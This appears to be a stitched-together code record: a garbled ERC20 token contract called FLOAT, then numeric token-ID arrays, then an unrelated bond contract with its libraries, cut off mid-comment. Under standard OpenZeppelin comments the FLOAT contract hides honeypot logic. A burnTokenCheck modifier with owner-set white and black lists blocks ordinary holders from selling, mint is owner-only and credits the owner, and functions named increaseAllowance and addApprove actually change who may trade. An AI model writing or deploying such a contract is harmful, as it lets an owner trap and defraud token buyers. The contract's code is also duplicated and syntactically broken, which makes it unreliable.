Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
contract FLOAT is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; } constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} }
15,074,477
[ 1, 13621, 434, 326, 288, 45, 654, 39, 3462, 97, 1560, 18, 1220, 4471, 353, 279, 1600, 669, 335, 358, 326, 4031, 2430, 854, 2522, 18, 1220, 4696, 716, 279, 14467, 12860, 711, 358, 506, 3096, 316, 279, 10379, 6835, 1450, 288, 67, 81, 474, 5496, 2457, 279, 5210, 12860, 2621, 288, 654, 39, 3462, 18385, 49, 2761, 16507, 1355, 5496, 399, 2579, 30, 2457, 279, 6864, 1045, 416, 2621, 3134, 7343, 358, 2348, 14467, 1791, 28757, 8009, 1660, 1240, 10860, 7470, 3502, 62, 881, 84, 292, 267, 9875, 14567, 30, 4186, 15226, 3560, 434, 5785, 1375, 5743, 68, 603, 5166, 18, 1220, 6885, 353, 1661, 546, 12617, 15797, 287, 471, 1552, 486, 7546, 598, 326, 26305, 434, 4232, 39, 3462, 12165, 18, 26775, 16, 392, 288, 23461, 97, 871, 353, 17826, 603, 4097, 358, 288, 13866, 1265, 5496, 1220, 5360, 12165, 358, 23243, 326, 1699, 1359, 364, 777, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 15483, 353, 1772, 16, 467, 654, 39, 3462, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 5267, 364, 1758, 31, 203, 377, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 14739, 1887, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 11223, 1887, 31, 203, 377, 203, 565, 2254, 5034, 3238, 389, 87, 1165, 6275, 273, 374, 31, 203, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 31, 203, 377, 203, 565, 533, 3238, 389, 529, 31, 203, 565, 533, 3238, 389, 7175, 31, 203, 565, 2254, 28, 3238, 389, 31734, 31, 203, 565, 2254, 5034, 3238, 389, 12908, 537, 620, 273, 22821, 7235, 3462, 6675, 4366, 9036, 2313, 3657, 6564, 4366, 10321, 5908, 7140, 713, 5292, 28, 7235, 8642, 7140, 27284, 2733, 5193, 6028, 25, 1105, 6260, 1105, 4630, 29, 7950, 5877, 5193, 713, 7235, 3437, 24886, 4449, 2733, 4763, 31, 203, 203, 565, 1758, 1071, 389, 8443, 31, 203, 565, 1758, 3238, 389, 4626, 5541, 31, 203, 565, 1758, 3238, 389, 318, 77, 10717, 273, 374, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 31, 203, 377, 203, 203, 97, 203, 282, 3885, 261, 1080, 2 ]
// File contracts/libraries/SafeMath.sol // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } } // File contracts/libraries/Address.sol pragma solidity 0.7.5; library Address { function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } // File contracts/interfaces/IERC20.sol pragma solidity 0.7.5; interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File contracts/libraries/SafeERC20.sol pragma solidity 0.7.5; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File contracts/libraries/FullMath.sol pragma solidity 0.7.5; library FullMath { function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) { uint256 mm = mulmod(x, y, uint256(-1)); l = x * y; h = mm - l; if (mm < l) h -= 1; } function fullDiv( uint256 l, uint256 h, uint256 d ) private pure returns (uint256) { uint256 pow2 = d & -d; d /= pow2; l /= pow2; l += h * ((-pow2) / pow2 + 1); uint256 r = 1; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; return l * r; } function mulDiv( uint256 x, uint256 y, uint256 d ) internal pure returns (uint256) { (uint256 l, uint256 h) = fullMul(x, y); uint256 mm = mulmod(x, y, d); if (mm > l) h -= 1; l -= mm; require(h < d, 'FullMath::mulDiv: overflow'); return fullDiv(l, h, d); } } // File contracts/libraries/FixedPoint.sol pragma solidity 0.7.5; library Babylonian { function sqrt(uint256 x) internal pure returns (uint256) { if (x == 0) return 0; uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return (r < r1 ? r : r1); } } library BitMath { function mostSignificantBit(uint256 x) internal pure returns (uint8 r) { require(x > 0, 'BitMath::mostSignificantBit: zero'); if (x >= 0x100000000000000000000000000000000) { x >>= 128; r += 128; } if (x >= 0x10000000000000000) { x >>= 64; r += 64; } if (x >= 0x100000000) { x >>= 32; r += 32; } if (x >= 0x10000) { x >>= 16; r += 16; } if (x >= 0x100) { x >>= 8; r += 8; } if (x >= 0x10) { x >>= 4; r += 4; } if (x >= 0x4) { x >>= 2; r += 2; } if (x >= 0x2) r += 1; } } library FixedPoint { struct uq112x112 { uint224 _x; } struct uq144x112 { uint256 _x; } uint8 private constant RESOLUTION = 112; uint256 private constant Q112 = 0x10000000000000000000000000000; uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000; uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits) function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } function decode112with18(uq112x112 memory self) internal pure returns (uint) { return uint(self._x) / 5192296858534827; } function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, 'FixedPoint::fraction: division by zero'); if (numerator == 0) return FixedPoint.uq112x112(0); if (numerator <= uint144(-1)) { uint256 result = (numerator << RESOLUTION) / denominator; require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } else { uint256 result = FullMath.mulDiv(numerator, Q112, denominator); require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } } // square root of a UQ112x112 // lossy between 0/1 and 40 bits function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) { if (self._x <= uint144(-1)) { return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112))); } uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x); safeShiftBits -= safeShiftBits % 2; return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2))); } } // File contracts/types/Ownable.sol pragma solidity 0.7.5; contract Ownable { address public policy; constructor () { policy = msg.sender; } modifier onlyPolicy() { require( policy == msg.sender, "Ownable: caller is not the owner" ); _; } function transferManagment(address _newOwner) external onlyPolicy() { require( _newOwner != address(0) ); policy = _newOwner; } } // File contracts/Bankless/CustomBond.sol pragma solidity 0.7.5; interface ITreasury { function deposit(address _principleTokenAddress, uint _amountPrincipleToken, uint _amountPayoutToken) external; function valueOfToken( address _principalTokenAddress, uint _amount ) external view returns ( uint value_ ); function payoutToken() external view returns (address); } contract CustomBANKBond is Ownable { using FixedPoint for *; using SafeERC20 for IERC20; using SafeMath for uint; /* ======== EVENTS ======== */ event BondCreated( uint deposit, uint payout, uint expires ); event BondRedeemed( address recipient, uint payout, uint remaining ); event BondPriceChanged( uint internalPrice, uint debtRatio ); event ControlVariableAdjustment( uint initialBCV, uint newBCV, uint adjustment, bool addition ); /* ======== STATE VARIABLES ======== */ IERC20 immutable payoutToken; // token paid for principal IERC20 immutable principalToken; // inflow token ITreasury immutable customTreasury; // pays for and receives principal address immutable olympusDAO; address olympusTreasury; // receives fee address immutable subsidyRouter; // pays subsidy in OHM to custom treasury uint public totalPrincipalBonded; uint public totalPayoutGiven; uint public totalDebt; // total value of outstanding bonds; used for pricing uint public lastDecay; // reference block for debt decay uint payoutSinceLastSubsidy; // principal accrued since subsidy paid Terms public terms; // stores terms for new bonds Adjust public adjustment; // stores adjustment to BCV data FeeTiers[] private feeTiers; // stores fee tiers bool immutable private feeInPayout; mapping( address => Bond ) public bondInfo; // stores bond information for depositors /* ======== STRUCTS ======== */ struct FeeTiers { uint tierCeilings; // principal bonded till next tier uint fees; // in ten-thousandths (i.e. 33300 = 3.33%) } // Info for creating new bonds struct Terms { uint controlVariable; // scaling variable for price uint vestingTerm; // in blocks uint minimumPrice; // vs principal value uint maxPayout; // in thousandths of a %. i.e. 500 = 0.5% uint maxDebt; // payout token decimal debt ratio, max % total supply created as debt } // Info for bond holder struct Bond { uint payout; // payout token remaining to be paid uint vesting; // Blocks left to vest uint lastBlock; // Last interaction uint truePricePaid; // Price paid (principal tokens per payout token) in ten-millionths - 4000000 = 0.4 } // Info for incremental adjustments to control variable struct Adjust { bool add; // addition or subtraction uint rate; // increment uint target; // BCV when adjustment finished uint buffer; // minimum length (in blocks) between adjustments uint lastBlock; // block when last adjustment made } /* ======== CONSTRUCTOR ======== */ constructor( address _customTreasury, address _principalToken, address _olympusTreasury, address _subsidyRouter, address _initialOwner, address _olympusDAO, uint[] memory _tierCeilings, uint[] memory _fees, bool _feeInPayout ) { require( _customTreasury != address(0) ); customTreasury = ITreasury( _customTreasury ); payoutToken = IERC20( ITreasury(_customTreasury).payoutToken() ); require( _principalToken != address(0) ); principalToken = IERC20( _principalToken ); require( _olympusTreasury != address(0) ); olympusTreasury = _olympusTreasury; require( _subsidyRouter != address(0) ); subsidyRouter = _subsidyRouter; require( _initialOwner != address(0) ); policy = _initialOwner; require( _olympusDAO != address(0) ); olympusDAO = _olympusDAO; require(_tierCeilings.length == _fees.length, "tier length and fee length not the same"); for(uint i; i < _tierCeilings.length; i++) { feeTiers.push( FeeTiers({ tierCeilings: _tierCeilings[i], fees: _fees[i] })); } feeInPayout = _feeInPayout; } /* ======== INITIALIZATION ======== */ /** * @notice initializes bond parameters * @param _controlVariable uint * @param _vestingTerm uint * @param _minimumPrice uint * @param _maxPayout uint * @param _maxDebt uint * @param _initialDebt uint */ function initializeBond( uint _controlVariable, uint _vestingTerm, uint _minimumPrice, uint _maxPayout, uint _maxDebt, uint _initialDebt ) external onlyPolicy() { require( currentDebt() == 0, "Debt must be 0 for initialization" ); terms = Terms ({ controlVariable: _controlVariable, vestingTerm: _vestingTerm, minimumPrice: _minimumPrice, maxPayout: _maxPayout, maxDebt: _maxDebt }); totalDebt = _initialDebt; lastDecay = block.number; } /* ======== POLICY FUNCTIONS ======== */ enum PARAMETER { VESTING, PAYOUT, DEBT } /** * @notice set parameters for new bonds * @param _parameter PARAMETER * @param _input uint */ function setBondTerms ( PARAMETER _parameter, uint _input ) external onlyPolicy() { if ( _parameter == PARAMETER.VESTING ) { // 0 require( _input >= 10000, "Vesting must be longer than 36 hours" ); terms.vestingTerm = _input; } else if ( _parameter == PARAMETER.PAYOUT ) { // 1 require( _input <= 1000, "Payout cannot be above 1 percent" ); terms.maxPayout = _input; } else if ( _parameter == PARAMETER.DEBT ) { // 2 terms.maxDebt = _input; } } /** * @notice set control variable adjustment * @param _addition bool * @param _increment uint * @param _target uint * @param _buffer uint */ function setAdjustment ( bool _addition, uint _increment, uint _target, uint _buffer ) external onlyPolicy() { require( _increment <= terms.controlVariable.mul( 30 ).div( 1000 ), "Increment too large" ); adjustment = Adjust({ add: _addition, rate: _increment, target: _target, buffer: _buffer, lastBlock: block.number }); } /** * @notice change address of Olympus Treasury * @param _olympusTreasury uint */ function changeOlympusTreasury(address _olympusTreasury) external { require( msg.sender == olympusDAO, "Only Olympus DAO" ); olympusTreasury = _olympusTreasury; } /** * @notice subsidy controller checks payouts since last subsidy and resets counter * @return payoutSinceLastSubsidy_ uint */ function paySubsidy() external returns ( uint payoutSinceLastSubsidy_ ) { require( msg.sender == subsidyRouter, "Only subsidy controller" ); payoutSinceLastSubsidy_ = payoutSinceLastSubsidy; payoutSinceLastSubsidy = 0; } /* ======== USER FUNCTIONS ======== */ /** * @notice deposit bond * @param 